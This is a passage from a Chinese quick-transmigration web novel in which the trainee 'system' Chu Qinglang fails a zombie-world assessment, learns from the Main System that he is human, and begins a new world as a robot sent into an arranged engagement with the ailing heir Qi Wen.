何复动作顿了下,他直接翻了个白眼,“我没瞎,能看见。” 楚青琅张嘴还想说话,腰后传来沉重力道,他踉跄一步,直接栽进冰冷怀抱。 他仰头,何复掐着他的后颈和他接吻。 就如在A市门前,带着歇斯底里的恐慌,向他来寻找安慰。 无论是情绪还是角度,几乎一摸一样。 看着那浊红的眸,楚青琅在拼命偏头,用气声叫他,“何复?” 何复顺势轻咬他的下颌,说:“我在。” 他到底有没有意识? 还是厉屿装的? 楚青琅扭头想要询问。 何复却直接捂住了他的嘴。 舔了舔唇,何复将花洒扔下,语气一点都不好,“闭上嘴吧。看你闲的,去一边浇花去。” 不过就算有意识又如何,他已经感染了病毒,做出了选择。 如果是装的,厉屿可真是个表演天才,比他更适合当系统。 于是楚青琅接住花洒,看着何复,重新笑了起来。 “那就辛苦复哥和小屿了噢。” 浓密的眼睫轻眨,青灰色的面颊在那上面却不显得吓人,反而更使得他有着一股病态的俊气。 何复伸手,弯曲手指在他的脸侧轻轻刮了一下,将他推开。 “去吧。” 楚青琅悠悠的掂着花洒,来到了一边的花圃前。 花圃旁边,面容英俊冷冽的男人正坐在那里,神色严肃的拿着小刀剔除着桃肉。 在他的手下,魔藤张开口,被当作了垃圾桶,不时有桃皮和桃肉被扔进去。 楚青琅轻咳了一声,“厉先生。” 厉权抬头,对他点了点头,随后沉默的坐在那里砸开桃核,取出里面的种子,放到一旁的湿毛巾上面。 楚青琅随手将花洒放到一旁,坐到了他的对面,看着那鲜嫩的桃子咽了咽口水。 他伸出手,想要摸走一个,却被厉权直接压住了手。 “会疼。” 楚青琅直接伸出另一只手,捏着桃肉递到他的嘴边,说:“真的吗?厉先生也不能吃吗?” 香甜果肉汁水充裕,只在空中停滞了瞬间,汁水就顺着青年的骨节流下。 厉权没有回话,他神色平淡的张开嘴将果肉吃进去。 垂头,湿红的舌将那手指舔舐干净。 随后轻咬了一下关节。 楚青琅感受到轻微的刺痛,连忙收回了手。 他不禁在自己的衣服上擦了擦,却依然没有擦掉那湿漉漉的感觉。 厉权微微蹙了蹙眉,却很快就恢复成了不动如山的沉稳摸样。 面上没有表情,嘴上却在示软,“很痛。” 楚青琅握着他的手摇了摇,“就知道厉先生最爱我了。” 依然是熟悉的撒娇的表情,但是蓝眸却并无焦点。 那血色的絮状物,几乎溢满了整颗眼球。 将斯文俊美的面容染上一丝诡谲。 楚青琅就这样抓着厉权的手缓缓趴在了桌子上。 挖洞的声音,水流涌动,溅出,树木摇晃。 脚踝处是被勒紧的闷痛,然后是尖锐的——哭泣声。 【楚楚,楚楚,楚楚,楚楚,楚楚。】 【楚楚,楚楚,楚楚,楚楚,楚楚。】 是谁在脑子里叫他。 夕阳下。 厉权放下手中的小刀,反手抓住青年的手臂,将人带到了怀中。 楚青琅脊背放软,整个人几乎是瘫在了厉权的身上,青斑蔓延到了眼前,他靠在男人的肩膀仰头看天,却只望见模糊的红色。 他说:“如果能够吃到自己种下的桃子就好了。” 身后的人并没有回复,只是轻吻着他的发。 面前殷红光芒被一道阴影覆盖。 不知过了多久,迟钝的神经传来手腕轻飘飘的感觉。 楚青琅才反应过来,应该是有人握住了他的手。 分辨不清的低哑的声音,指尖是微弱的吐息。 “会的。” 【考核系统已死亡,主线任务失败。】 【是否返回主神空间?】 “是。” 为了已经彻底变成丧尸的他,厉屿会疯狂的寻找天命之子,然后,将自己的晶核献出去,他也会迎接属于自己的结局。 但是就算解药做出来,他的灵魂也不再那个世界了,所以解药是不会将他变回人类的。 而一直跟在厉屿身旁的何复就是最好的实验对象。 何复会重新变成人类。 他说了,他从不欠人。 第47章 第 47 章 好孩子。 “说吧, 这次怎么任务又失败了?” 空旷整洁的办公室内,主系统瞧着面前一脸无所谓的青年,有些无奈。 一旁的屏幕依然播放着他离开后的画面。 厉屿牵着青年的手,在天命之子的注视下, 主动躺在了手术台上, 任由刀刃穿透他的太阳穴, 掀起了他的头盖骨, 露出了柔软滑腻的脑子。 在冰冷刺痛中,那双异色双眸带着孤注一掷的决心。 “我乖乖的, 让我找到你,楚楚。” 被打理的整洁干净的青年坐在一旁,红樱樱的眼眸漠然回望 “我还以为你知道原因。” 楚青琅收回视线,压下心中的烦躁。 自从想起了那个被清理的记忆之后,他就有些后悔, 为什么没有在第一时间选择放弃这个考核世界,就不用碰见厉屿了。 这下好了,任务又失败了。 他抖了抖任务报告, 将其放到了身前的桌子上, 推给主系统。 随后按着桌子靠近, 语气微妙。 “从我一到任务世界就突然告诉我说要提高难度,后面反派又是重生的, 外加上丧尸进度加快, 我都怀疑您是真的不想我完成任务。” 主系统变换出眼镜,一脸严肃道:“说什么呢,你应该恢复记忆了,如果任务刚失败你就回来了,怎么还会经历后面的事情, 总的来说,还是你自己的选择。” 虽然是他自己选择重新进入这个考核世界,也确实如他所想的那样,只要给他时间,他就可以让厉屿放弃杀他。 但是,他也没想到又一次的把完成任务变成了攻略,到后面还被逼得他主动缓和与厉屿的关系才能出房间,完成剩下的计划 楚青琅哼了一声,起身,昂起下巴道:“那也不是我的问题。” 他皱了下眉,“怎么总是反派出现bug,他们两个不会有什么联系吧?” 主系统伸手去那纸张的动作顿了下,随即笑眯眯道:“怎么可能,所有小世界都是独立的,他们又不是能够重复利用的npc,不会有联系的,青琅你有些敏感了。” 他怀疑的上下扫视着主系统,看的它额上都忍不住模拟出了汗滴。 随后楚青琅歪头,同样笑着说:“那您答应补偿我的,可以回答我一个问题还作数吗?在我经历了这么大的惊吓后,您真的一定要我任务完成才会告诉我吗?” 刻意放低的声音又轻又柔,钻进耳道仿佛羽毛一样,惹的人心里痒痒的。 虽然主系统并没有真正的耳朵,但是它也忍不住咳嗽了一下,“好了,告诉你一部分,剩下的等你完成任务自己去无尽星海就知道了。” 楚青琅惊讶道:“无尽星海?我们的诞生地?” 同样也是主神沉睡之地。 他的问题,和主神有关系? 主系统身后的玻璃窗外,深邃的黑幕上坠着密密麻麻的碎星。 每一个,都是一个小世界。 映在漆黑眼眸中,仿佛整个宇宙落入其中。 主系统没有回答,直视他道:“你问吧。” 楚青琅攥紧了手,深呼吸了一下,回视问:“我是谁?” 为什么和别的系统外形不同?为什么有着自己的名字?为什么脑海中,始终有着一片空白? 楚青琅,006号。 他是谁? 主系统仿佛叹了一口气,它飘起来,来到他的面前。 面前办公室一样设施瞬间隐没,墙壁倾倒蔓延出去,变成一片乳白色的地面,无数的细丝从空中垂落,链接到主系统背后。 楚青琅却并没有在乎,只是安静的等待着回答。 主系统模拟出手,摸了摸他的头,低声说:“你是人类,是楚青琅,是突然有一天出现在无尽星海中的,所以我们把你当作了系统来培养,并给予了你006这个编号。” 他不是系统? 心神有着一瞬间的不稳,指甲将掌心抠出伤口,疼痛蔓延,楚青琅的心却早有预料般,沉沉的落了下去。 在没进入小世界时,他就有此猜测。 楚青琅张了张嘴,他哑声说:“我的,我的记忆?” 脑海中唯一的记忆,是一睁眼看见了面容柔和的主系统。 它牵着他的手将还在懵懂的他带出了无尽星海,交给了老师们。 但是之前呢? 他来自那里?谁给他起了这个名字?他的父母是谁?他的经历是什么? 楚青琅这时才发现,他竟然对自己一无所知。 主系统向着后方飘去,它的声音在空旷的地方回荡,“完成任务后,你会知道的。” “考核系统006号楚青琅,接下来宣布你的考核成绩。” 主系统悬于空中,模拟的表情消失。 “主线任务失败,支线任务完成,人设偏移程度为90%,剧情偏移程度为30%。” “以上,你的评分为——B。” “考核失败。” “考核系统006号,是否认可这个结果?” 楚青琅仰头,看着那绵延无尽头的星海。 “认可。”他说:“我会完成任务的。” 看着少年转身离开的背影,主系统身旁亮着的光芒闪了闪。 还好他机智,不然就被这个小家伙发现不对了。 主神,快醒来吧。 它真的瞒不了多久。 * 【滴——】 【006号系统载入中——】 【您现在的身份为维拉公司研发的首批机器人——楚青琅。】 【006号系统,检测到您多次考核失败,经过考核团研讨,已为您更改考核方式。】 【请您在不破坏人设的前提下,完成剧情中剧情点,剧情偏移程度不超过10%即算考核通过。】 【世界线已为您重新梳理,天道将全程关注。】 【以上,全体系统和主神祝您任务顺利。】 “青琅少爷,这边走,您面前就是温德姆庄园,这里安静清幽,我们家主平常都住在这里。” 宽阔的城堡前,修剪整齐的绿色草坪格外悦目,外面围绕的是开的茂盛的松树林,身旁,穿着马甲的管家在前面微微弯腰,安静的等待着他的反应。 楚青琅懵了一瞬,才意识到自己已经来到了新的考核世界。 经过前面两次的失败,这次他挑选考核世界的时候,特意挑选了一个特殊身份——机器人。 他就不信了,他现在都不是人了,而且是在反派出现前,绝对不会再对反派造成任何的他还能任务失败! 不过这次他的任务竟然更改了,他现在所处的是在剧情正式开始前,只要他没有什么大动作,像是直接把任务对象干掉之类的,一般不会隔空造成剧情偏移的。 对于考核系统来说,已经是异常宽松的条件了。 看来主系统终于干了点人事。 穿着白色西装的少年黑发黑眼,面容白皙,五官带着人工造就的精致,虽然好看,但是不带丝毫活气,少年脖颈修长,气质疏冷。 长久的凝视间,如蝶羽般的眼睫没有丝毫颤动。 就在管家心生疑惑的时候,那双眼盯了过来,却依然没有说话。 管家摆出的微笑倾听的面容一下子僵硬了起来。 难道是被祁家的豪华震慑到了? 也有可能,毕竟不久前才找回来,只是不知道为什么家主会同意楚家提出的联姻。 而且看起来呆呆的,除了脸长得好看,别的明显配不上他家家主。 管家诽腹着,但是他已经不指望这个少年开口讲话了。 毕竟从车子上到现在,他讲的天花乱坠,平常别人怎么也会礼貌的附和一两声,但是这个少年从始至终一直沉默着,他都差点以为越家送给祁家主的结婚对象是一个哑巴。 他不再等待,主动朝着前面走去。 他一动,身后的少年就像是被按了启动键一样,立马跟了上来。 管家很有职业心的接着介绍面前城堡的历史,以及被他称为家主祁温的简单情况。 “因为家主的身体不好,所以这里是禁止吵闹,禁止刺激性气味,同时,禁止夜游餐食一般都是清淡养生的口味,还有城堡后方的湖泊最好不要接近,如果您不会水的话,会比较危险您不用担心,我们家主脾气一向是最好的,只要做到上面几点,他很好相处的。” “除了我们家主,还有一个人也会经常过来,就是您的兄弟——越珩少爷。而越珩少爷在这里的东西一向不喜欢别人碰,稍后我会为您说明,您到时候记一下。” 越珩,也就是原主角攻,和剧情中的白月光(他现在的丈夫)祁温一同长大。 祁家和越家是世交,两家关系极好,只是祁家子嗣单薄,掌权人去世的早,现如今只有祁温一人支撑家业。而他也三天两头的生病,常年隐居,除了原主角攻越珩会经常来玩耍,几乎没有旁人见过他。祁温又无兄弟姐妹,膝下又没子女,只要他一死,剩下的诺大家业根据遗嘱,会全部捐出去。 不少人对对于这个蛋糕虎视眈眈,越家也是相同,而为了避开这个遗嘱,越家就需要得到密钥,密钥是祁家的传家宝,比遗嘱更为正当。 因此,楚家和祁家再次开启了联姻。 祁温并未拒绝,哪怕他是被通知的哪一个。 在剧情中,祁温的婚礼,是原主角攻越珩挥之不去的梦魇,也是日后他和主角受之间的虐点。 他将亲眼所见自己的白月光同旁人举行这神圣的仪式,而自己,却只能在一旁暗自狂怒,因为他的母亲不会同意他嫁/娶祁温。 就算是日后得到了祁家,这种利用婚姻吃别人全家的行为也是会被旁人议论纷纷,楚珩的母亲不会允许自己的孩子身上沾染分毫污点。 所以,越珩的母亲买下了楚青琅 。 一个机器人。 绝对的听话,好控制,还能替她儿子承担一切的流言蜚语。 所以剧情中,楚青琅就是一个棋子,虽然成功和祁温订婚了,也以妻子的身份入住了城堡,但是他并不需要和祁温打好关系,只要摸清楚这个城堡的结构,偷摸搜找密钥,然后失败后被发现赶出去,再绑架祁温就行。 楚青琅在心中定好了自己的行动路线。 面前弧形的白色阶梯形成一个半圆,链接城堡大门和地面,一旁摆放着两尊石像,楚青琅瞥了一眼,并没有看出来雕刻的是什么。 像是鹰,又像是狮子。 他左耳进右耳出的跟着还在絮絮叨叨的管家走进城堡。 城堡内部是冷硬的,入目尽是大理石,皮革,绒面幕布,地面上是繁复的蓝金色的图案,灯光很多,除了天花板上的金属嵌金吊灯,两边墙壁边缘还有着隐藏式的灯源。 有些刺眼。 楚青琅下意识的眨了下眼,还没等到管家下一步的引导,他随即就听见了一道带着火气的声音响起。 “他就是祁哥的结婚对象?” 旋转楼梯上,站着一个穿着白色骑马装的少年,碎发下,一双浓眉死死的皱着,下方是线条极为深刻利落的双眼,瞧起来颇为傲慢不好惹。 你们不是兄弟吗? 一旁刚准备介绍一下房间的管家闭上嘴,他看着站在二楼按着扶梯俯视着他们的少年,恭敬道:“越珩少爷,您怎么上去了?” 越珩根本没有搭理他,冷冽的嗓音再次响起,一双眼沉沉的凝视着楚青琅,一字一句道:“你就是祁哥的结婚对象?” 楚青琅回望,传送而来的原主记忆瞬间翻涌。 * 楚青琅站在镜子前,看着里面的自己,面无表情。 仿佛在等待着什么命令。 一双纤细的手伸来,从背后搂住他。 温馨柔软的身躯贴近,女人挑起他的脸,下巴放到他的肩窝,温柔的声音响起:“青琅,你看自己,多漂亮。” 站在那里的少年眼珠转动,透过镜子看着挨着他的那张艳丽面孔,沉默着点了点头。 女人仿佛无趣,放开了手。 她走到一旁的床上坐了下来,紫色的裙摆如花一般在地面绽放,她后仰身子,长长的黑发滑落,露出肩膀,饱满胸脯上方的钻石项链反射着刺目光芒。 女人语气轻柔,“过来,青琅。” 少年转身,朝她走来。 每一步都仿佛精准测量过,衣裤除了人体自然弯曲形成的弧度,旁的因为个人习惯造成的褶皱一丝都没有。 女人拉住他的手,温柔的施力。 清雅的香气萦绕在鼻端,少年姿态驯服的跪了下来,脊背弯曲,将头搭在了女人膝上。 却并没有将全部的力量压下,而是克制的,控制着力道。 女人温热的指尖穿梭在柔软细密的发丝间,力道很轻,仿佛羽毛划过。 “青琅,你会为我做任何事情吗?” 女人轻抚他的面颊,唇勾起,目光怜爱包容。 少年安静侧头,凝视着她。 他低声说:“是的,妈妈。您的意愿即是我的一切。” 被叫做妈妈的女人满意的摸了摸他的后颈,她的指甲染着红色,手腕萦绕着妩媚甜蜜的香水味道。 楚青琅下意识的分析起来,是NISS的秘境系列,是只为她们这种贵妇人专享的。前调是紫罗兰和雪松,中调是李子肉桂,后调是安息麝香,妈妈非常喜欢这一品牌,这个香水也是品牌以她为灵感做出来的。 他在第一次被购买过来激活时,闻见的就是这个味道。 女人低声说:“一定要为我取得合同和密钥,知道吗?你记住,你的所有都是越家给你的,越珩现在是你的兄弟,他会帮助你的,不要害怕。” 她拍着他的脊背,仿佛真的在安慰因为即将踏入一个新家庭而心生忐忑的孩子。 少年漆黑的双眸望着她,语气平淡毫无波澜。 “是,妈妈。” 女人简直满意无比,她低头,长发垂落,扫在楚青琅的面颊上,留下细密的痒意,他下意识的眨了下眼睛,却又很快控制住。 女人含笑道:“很乖,好孩子。” * 面前的少年是越珩,女人是越珩的母亲。 他是好孩子,他们是兄弟。 而兄弟应该相亲相爱。 楚青琅向越珩露出人类表达友好的微笑,温和灿烂的笑颜在一瞬间让越珩恍惚了一下。 同时道:“是的,我是祁先生的结婚对象,哥哥。” 但是等越珩反应过来,他才发现,那五官过于精致的少年虽然露出了笑,但是漆黑的眼里却没有丝毫笑意。 就像是在嘲讽他,越珩胸膛猛地起伏了一下,他噔噔噔的走下楼梯,站到了楚青琅的面前。 “谁允许你叫我哥哥的?!” 楚青琅语调平直,硬生生的将疑惑的话讲成了肯定,“妈妈说,我是越家的孩子,所以你是我的哥哥,不对吗?” 越珩眼皮跳了一下,他伸手猛地攥紧楚青琅的衣领,凑近咬牙道:“那是我的母亲,你不过就是一个私生子,别叫我哥哥!” “还有,你不准和祁哥交往过密,你不配站在他的身边!知道吗?” 谁在意你白月光啊。 楚青琅神色没有丝毫的变化,也依然没有回复他。 越珩暗暗纳闷,以为他是不服。 于是他努力冷下表情,试图用双眼表现出自己的威胁,但是看久了,他却突然面前的人皮肤非常好,细腻光滑,离这么近都看不出丝毫毛孔。 这是一个人类应该有的皮肤状态吗? 越珩心中的怒火渐渐变成了好奇,他又凑近了一步,顺着那红润的唇,来到高挺窄瘦的鼻梁。 鼻梁也很高,就是有点秀气。 一看就是那种会装的人。 越珩在心中暗骂了一下,他一向不喜欢那些男生女相的家伙。 比起他过于浓郁的眉眼,面前的人的眉眼很淡,但是格外标准。 就像是匠人精心描绘出来的,每一处都很完美。 但是太过于完美了,看久了让人有一种望着bjd娃娃的感觉,反正不像真人。 越珩准备继续观察,猝不及防的对上一双玻璃球一般的眼,瞳孔是无底的深,看久了仿佛深渊一般,不带丝毫人气。 温热的手覆盖上来,越珩心脏猛地停滞了一瞬, 他下意识的将其甩了开来。 “哥哥?” 楚青琅收回被甩开的手,疑惑的望了过去。 此时越珩再望过去,却只发现面前的人就只是一个长得好看的人罢了,仿佛刚刚他所感受到的全是是幻觉。 他心中纳罕,不由自主的蹭了下自己被碰过的手,“你姓什么?” 楚青琅回答:“楚。” 越珩双手抱胸,浓眉压眼,睫毛疏出凉薄意味,他阴阳怪气说:“呵,果然是私生子,连名字都没有回归本家,还敢跟我叫板?贫民窟长大的吧?真是没教养。” 楚青琅呆在原地,好像没有理解他的话。 心中则快烦死了。 现在的主角攻怎么这么幼稚,他又不会真的和他抢人,更何况,祁温又活不了多久,与其跟他别下去,还不如多去看看白月光。 楚青琅直直的瞧着越珩,仿佛才反应出来他的针对,耿直道:“你是在羞辱我吗?” 还补充了一句。 “你为什么生气?是因为我和祁先生订婚了吗?但是我们是兄弟,妈妈说了,要好好相处,你不应该这样说。” 努力缩小自己存在感的管家嘴角抽搐了一下,他抿住嘴,努力压下笑意。 越珩张大了眼睛,他从来没见过这样直白的人,心思被揭穿,声音瞬间大了起来。 “你说什么?!” “越珩。” 冷寂的声音从上方传来,让楚青琅面前的人彻底息声。 二楼处,出现一个身影。 祁温按着栏杆站在那里,面容苍白消瘦,露出来的手显出骨骼沟壑。 他神情冷淡,容色却没有久病之人的仓惶,一双眼格外飘渺幽暗,望过来的眼神不像温和,不像冷酷,介于两间,仿佛是一团冬夜的凉雾。 所有人都看的出来,他并不在意他们,只是作为主人,客人出现了争执,才被迫走了出来。 越珩抱起的双臂瞬间放下,他瞪了一眼楚青琅才转过身,“祁哥,你怎么来了,外面凉,万一加重病情怎么办?” 说着,他一脸担忧的朝着一旁的楼梯走去。 不知为何。 楚青琅总觉得那凉雾般的目光定定的落在他身上时,就变得沉重火热起来,皮肤都感觉到了些微的刺痛。 仿佛男人的灵魂已经来到了他的身后,将他从头到脚细细摸了个遍。 而在看见那人的一瞬间,他从上个世界离开时就开始烦躁的心突兀的平静下来。 怎么回事? 算了,看起来这个白月光也不在意他们,只要把没有越珩搅和,他不会主动在白月光面前出现。 楚青琅垂头,主动错开了视线。 重新将自己掩藏在这个机械呆木的外壳中。 第48章 第 48 章 勾引。 站在楼梯口, 越珩犹豫了一下,还是大步走了上去。 他接过赶来的家佣推来的轮椅,张口刚想要解释什么。 祁温却从径直他的身旁走了过去,眼神都没有给一个。 “祁哥?你去那里?” 越珩试图跟随, 却被家佣拦住, 他只能慢慢的放下了手。 楼下。 楚青琅正垂头研究着地面。 嗯, 是大理石, 打扫的很干净,能够映出他的身影。 甚至连头发边缘翘起的发丝都能看见。 就是这种家族式的, 规矩都比较大,而且从刚刚的微表情分析中,那个祁温,他的订婚对象,并不喜欢他, 虽然对原主角也是一视同仁,看起来只是平等的不喜欢所有人。 只是在好感度不高的前提下,白月光会不会觉得他不是那么尊重人, 然后阻碍他完成‘妈妈’的任务…… 楚青琅盯着自己翘起来的头发尖尖, 伸手准备给它抚平。 异常冰冷的触感从指尖传来, 楚青琅的手僵硬在原地。 轮廓清晰的影子随着高定皮鞋站定将他彻底笼罩。 抬头,祁温已经站在了他的身前, 苍白病态的面容上没有什么表情, 只是反手将他的手握住。 楚青琅下意识的缩了下手,在第一时间竟然没有抽动。 他又抽了一下,感受到他的拒绝,祁温才慢慢放开了手,只是在最后的时候, 仿佛无意的,用指尖在那细嫩温热的掌心勾了一下。 楚青琅发懵的将手在裤缝上蹭了蹭。 试图将那种瘙痒的感觉拭掉。 刚刚,根据老师教导的知识,这个白月光是在勾引他? 不是,祁温不是清冷人设吗? 楚青琅几乎感到惊悚。 那种熟悉的剧情人物ooc后造成的后果一瞬间充斥了他的脑海。 不应该啊,他这次真的什么都没做啊! 还没等他反应过来,沉重的力道就从他的头上传来,将他按的头一点一点的。 楚青琅蹙眉,后退了一步道:“祁先生,您在做什么?” 被抚平翘起的头发后,少年变得乖巧了许多,衬衣长裤,顺滑的发贴着眉眼,连露出耳朵也是漂亮的。 像娃娃。 祁温盯着楚青琅看了一会儿,答非所问,“叫我名字。” 楚青琅看了一眼管家,发现他正沉浸在一脸震惊恍惚的情绪中,而二楼,越珩也是同样。 机器人是不能直呼人类的名字的,但是‘妈妈’又要他和祁温打好关系 仿佛是他犹豫的时间过久了,祁温收回手,后退一步坐到了佣人推过来的轮椅上。 他垂下了眼,脸上唯一的颜色被遮住,更显得他面色如宣纸一般,肘部弯曲,顺滑布料凸显出树枝样的痕迹,引得楚青琅好奇的看了过去。 但是他无论是面容还是身形骨骼走向都极尖锐削薄,具有存在感,便不显瘦弱,只让人觉得克制冷硬,不好接近。 他说:“不愿意?” 那笼罩的影子消失,楚青琅面无表情的摇了摇头,叫他的名字。 “祁温先生。” 祁温好像发出了一声轻笑,但是那笑就像他这个人的嗓音一样,飘渺的如雾气一样,几如幻觉。 他语气冷淡,“既然已经订婚了,那你就是祁家的主人了,管家。” 被叫道的管家打了个激灵,连忙上前弯腰恭敬道:“家主。” 祁温盯着少年穿的白色球鞋,说:“把越珩的东西都收起来,送回越家。” 管家的腰更弯了一点。 “是。” 身后,甩开佣人走下来的越珩听见这话,瞬间炸了,他怒气冲冲道:“祁哥!我们相处这么久了,你现在竟然要为一个外人赶我走吗?他什么身份?明明就是贪财装模做样的家伙,怎么配得上” 祁温平静打断他的话,“道歉。” 这种没有情感波动的语气,让管家的脊背一麻,心中发寒,他在祁家工作了有二十年,是看着祁温怎么上位的,身子是怎么坏的。 虽然在外人眼中,祁家是岌岌可危,但是他知道,这只是家主懒得搭理而已。 一旦引起他的注视或者负面情绪,下场 越珩站在那里,只觉得周围充足明亮的灯光和佣人的视线变成了炎热的太阳,炙烤着他,让他几乎无所遁形,感到了一阵羞耻。 尤其是那个私生子依然用着那双没有波动的双眸瞧着他。 祁哥以前从来没有这样说过他,这个私生子不过是长得好看了一点,到底是怎么吸引了祁哥? 越珩攥紧手,梗着脖子,腮帮子咬的紧紧的,却第一次没有听祁温的话。 楚青琅终于反应过来。 他刚刚想通了,毕竟祁家规矩大,在外人眼中,不管他之前是什么身份,既然他现在是和祁温订婚了,那么他的一切就代表着祁家。 越珩刚刚那样说,不光是瞧不起他,连带着祁家也羞辱了一下。 所以这就是祁温为他出头的原因。 楚青琅松了一口气。 根据‘妈妈’给他的资料,面前的越珩是她最喜欢的孩子,所以他要和他打好关系。 他慢吞吞的开口,“祁温先生,没关系,哥哥只是一时间不能接受我,后面会好的。” 越珩下意识反驳道:“说了别叫我哥哥!” 出乎意料的被拒绝,祁温抬眼,神情却依然平静。 看了楚青琅一会儿,他微微抬了下手。 身后的佣人极有眼色的将轮椅转了个方向,越过在一旁站着的越珩,向着二楼走去。 咕噜噜的轮椅声远去。 越珩呼吸加重,他眼神变得危险起来,盯着楚青琅,扯开嘴角。 “别让我抓住你的把柄。” 楚青琅安静的站在原地,越珩放完狠话,转身消失在他的眼前。 他忽地问:“哥哥去干什么?” 一直弯着腰的管家站起身,眼神复杂的瞥了他一眼,回答说:“越珩少爷送了家主一匹马,家主因为身体原因并没有骑过,越珩少爷便经常来骑。” 说完,伸手又为他引起了路。 这座城堡很大,有着许多的房间,里面的装饰基本相同,就在楚青琅还以为他会被随便安排在一个房间中时,管家却带他到了二楼。 “出了您的房间,向着右边走,最里面的那间就是家主的房间。” 管家跟着他站在窗口,说:“您还有什么吩咐吗?” 楚青琅环视了一下周围繁复的装饰,又看了一眼窗户下青绿的草地还有摇晃的玫瑰,问:“我哥哥在那间房?” 管家说:“越珩少爷的房间在一楼。” 楚青琅点了点走,走到一旁的沙发上,坐了上去。 房间内一片寂静。 身后,察觉他没有吩咐了,管家恭敬朝他弯腰,后退几步才转身,离开了房间。 楚青琅脊背挺直的坐在那里,对于一个机器人来说,并不需要休息。 但是内心却在不断的调整着方案。 虽然他在进来的时候想过越珩可能会针对他,但是他属实没想到反应会这么大。 果然,爱情使人盲目。 楚青琅拉出了系统面板,上面的剧情偏移程度并没有变化,依然是0%。 很好,看来无论是祁温还是越珩都没有bug。 虽然祁温已经让人把越珩的东西送走了,但是为了和自己心中的白月光多相处一会儿,楚青琅不觉得越珩会安心离开。 而一个针对他的人,可能会对他完成‘妈妈’的任务有阻碍。 但是他又是自己的兄弟,所以楚青琅一时间有些难以抉择。 修长白皙的手背上淡青色的筋脉隐在皮肉下,如羊脂玉一般,就连关节都是相同的颜色。 他伸出手点了一下手背。 平整的皮肤突的裂开一道口子,里面是隐藏式的的屏幕,楚青琅先扫描了一下这个房间,确认并没有监听设备之后,点开了置顶的联系人。 平直的眼睫拢着点漆一般的眼珠,楚青琅安静的等待着对方回应。 屏幕一阵波动,接着一道女声响起。 “青琅,怎么了?” “妈妈,哥哥在这里,他对我的态度并不好,可能是因为我是祁温先生的订婚对象,我怕他会影响我的行动。” 女声闻言沉默了一瞬,随后冷冷道:“不用管他,我会来一趟,解决这个问题。” 她又接着吩咐,“时间不多,尽快行动,找到东西联系我,我会派人接应你。” 楚青琅说:“好的,妈妈。” * 太阳渐渐落下,世界变得昏暗起来。 繁复奢华的房间内却并没有开灯。 阴影勾勒着家具轮廓,一道敲门声响起,一直坐在沙发上纹丝不动的身影忽地动了一下。 “少爷,晚餐的时间到了,您休息了吗?” 楚青琅交叠的双手松开,他站起身,朝着门口走去。 打开门,通道处冷色的灯光瞬间驱散了一些房间内的昏暗。 他说:“没睡。” 管家看着乌漆嘛黑的房间,小心问道:“那您怎么不开灯?” 楚青琅眨了下眼,说:“不知道灯在那里。” 正常人就算是不知道灯在那里,也会自己摸索一下,或者出门问人,这个少年倒好,硬生生的呆在房间,没一点动静。 管家有些无奈,看起来这个孩子真是个傻的。 他走过去,伸手在墙壁一边按了一下,然后又走到床铺旁,拽了一下床头灯的绳子。 很快,整个房间就亮堂起来。 楚青琅站在门口,面无表情的哇哦了一声,仿佛在捧场。 管家看了他一眼,发现他依然是白天的装扮,甚至衣角褶皱都和之前一摸一样。 看来这个孩子一定连衣柜在那里都不知道。 如果他不提醒,很有可能明天还是穿着这一身。 他微笑着走到一旁,推开了另一扇门,对着他指了指里面,“这些都是最新款的衣服,是按照越家提供的尺寸定制的,您看您喜欢不喜欢,如果不喜欢的话可以跟我说,这边为您重新订购。” 楚青琅走来,只瞥了一眼就点了点头。 他无所谓穿什么。 管家接着又给他指了洗漱的地方,摆好了洗漱用品,然后还有呼叫佣人所能用的按钮,或者古老的铃铛 楚青琅都安静的倾听着,给他递上了一杯水。 “谢谢咳咳!!” 管家顺手接过,反应过来后呛了一下。 看着面前少年黑漆漆的眼眸,他喉结滚动了一下,“少爷,这种事情您怎么能干?” 楚青琅歪了歪头,“你嘴巴起皮了,嘴角还有沫子,所以我给你倒水。” 毕竟机器人就是为人类服务的。 他并不觉得自己那里做的不对。 管家想起他的身世,也瞬间明晓了原因,他暗暗叹息一声,“少爷,越珩少爷还没有离开,您白天的话尽量不要下去,家主白天身体不好,一般都在休息。” 家主不在,这个城堡里面,没有人能够拦得住越珩。 更何况这个少年看起来又呆又耿直。 到时候一定会被越珩少爷欺负。 楚青琅干脆的点头。 虽然管家看出他并没有意识到这件事情的严重性,但是他也不能再多说什么,于是他引着人走到了一楼。 越珩和祁温并不在饭桌上。 管家说,好像祁温又出现了什么问题,叫了医生。 于是就只有楚青琅一个人吃饭。 他看着不远处的饭菜,突然意识到一个沉重的事实。 他是一个机器人。 机器人没有消化道,当然也不会按上品尝食物必有的味觉。 也就是说,这些菜,他只能看,没办法吃。 对于任务失败全靠食物安慰自己的他来说,简直晴天霹雳。 楚青琅坐在那里,内心已经尖叫起来,他怎么就忘了这茬了! 先前女人把他带回家的时候,因为知道他是机器人,所以根本没有给他准备什么食物,原身也不会提出这种要求。 所以他全然忽略了。 “少爷,这些饭菜不和您的胃口吗?” 一旁的管家轻声询问。 楚青琅放下僵在那里的手,说:“没事,只是不饿。” 他扭头问:“祁温先生怎么样了?我去看看可以吗?” 管家说:“家主现在不见人。” 楚青琅垂眼,声线毫无起伏。 “我现在是他的订婚对象,他不舒服我去看一眼是应该的,不会打扰到他的。” 管家犹豫了一下,又想到白天家主面对少年所表现出来的异样,还是答应了下来。 “好,我带您去。” * 入夜。 原本充裕的灯光也被黑纱蒙了起来,变得昏暗起来。 这座城堡年代久远,哪怕经过佣人细心的打扫,楚青琅也看见了许多的破损和灰尘。 不过这倒是符合原剧情中白月光岌岌可危的情形。 可能因为祁温又生病了,所以管家带他去的并不是二楼走廊尽头的那间房子,而是出了城堡去了一旁的高塔。 里面却并不像楚青琅想的那样,满是高精尖的医疗器械,只有寥寥穿着白大褂的医护人员。 他们捧着鲜红的仿佛血液一般的东西,还有一些细软缠绕的管子,衣袂翩飞间仿佛鸟儿一般,来来往往间将他们彻底忽视。 楚青琅跟着走上旋转楼梯,砖石造就的楼梯有着不少的缺口,瞧起来并不安全。 而且,为什么生病了,不直接在屋子里治疗,反而来到这么偏远的地方? 这样不是多此一举吗? 楚青琅心下疑惑,于是他也就直接的开了口。 “管家,为什么要在这里,不去医院?”他问:“这里,很偏。” 管家带着他来到一间微敞的屋子前,伸手推门的动作顿了一下。 “这里是家主之前生活的地方,医院治不好家主的病。” 他叹息了一声,推开了房门。 深褐色的房门被打开,仿佛外面所有的光芒都聚集在了这一处,里面亮到让人产生灼热的错觉。 整个房间极为简单,灰地白墙,相比起一个富裕人家的住所,更像是一个监狱。 